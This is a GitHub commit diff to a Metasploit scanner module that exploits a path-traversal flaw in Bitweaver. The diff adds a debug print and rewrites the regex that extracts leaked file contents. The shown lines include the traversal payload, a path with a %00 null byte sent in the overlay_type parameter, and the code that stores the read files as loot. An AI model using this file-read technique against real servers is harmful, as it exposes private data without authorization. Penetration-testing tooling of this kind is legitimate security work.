Skip to content

Commit 4415849

Browse files
committed
Another attempt to fix the regex
1 parent d449052 commit 4415849

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -66,7 +66,7 @@ def run_host(ip)
6666
'overlay_type' => "#{traverse}#{fname}%00"
6767
}
6868
})
69-
69+
print_line(res.body)
7070
if res and res.code == 200 and res.body =~ /failed to open stream\: No such file/
7171
print_error("#{peer} - Cannot read '#{fname}'. File does not exist.")
7272

@@ -78,7 +78,7 @@ def run_host(ip)
7878

7979
elsif res and res.code == 200
8080
data = res.body
81-
data = data.scan(/(.+)\n(<br \/>\n)*.+Notice/m).flatten[0] || ''
81+
data = (data.scan(/(.+)\n(<br \/>)*\n*.+Notice.+/m).flatten[0] || '').gsub(/\n<br \/>$/, '')
8282

8383
p = store_loot(
8484
'bitweaver.overlay_type',

0 commit comments

Comments
 (0)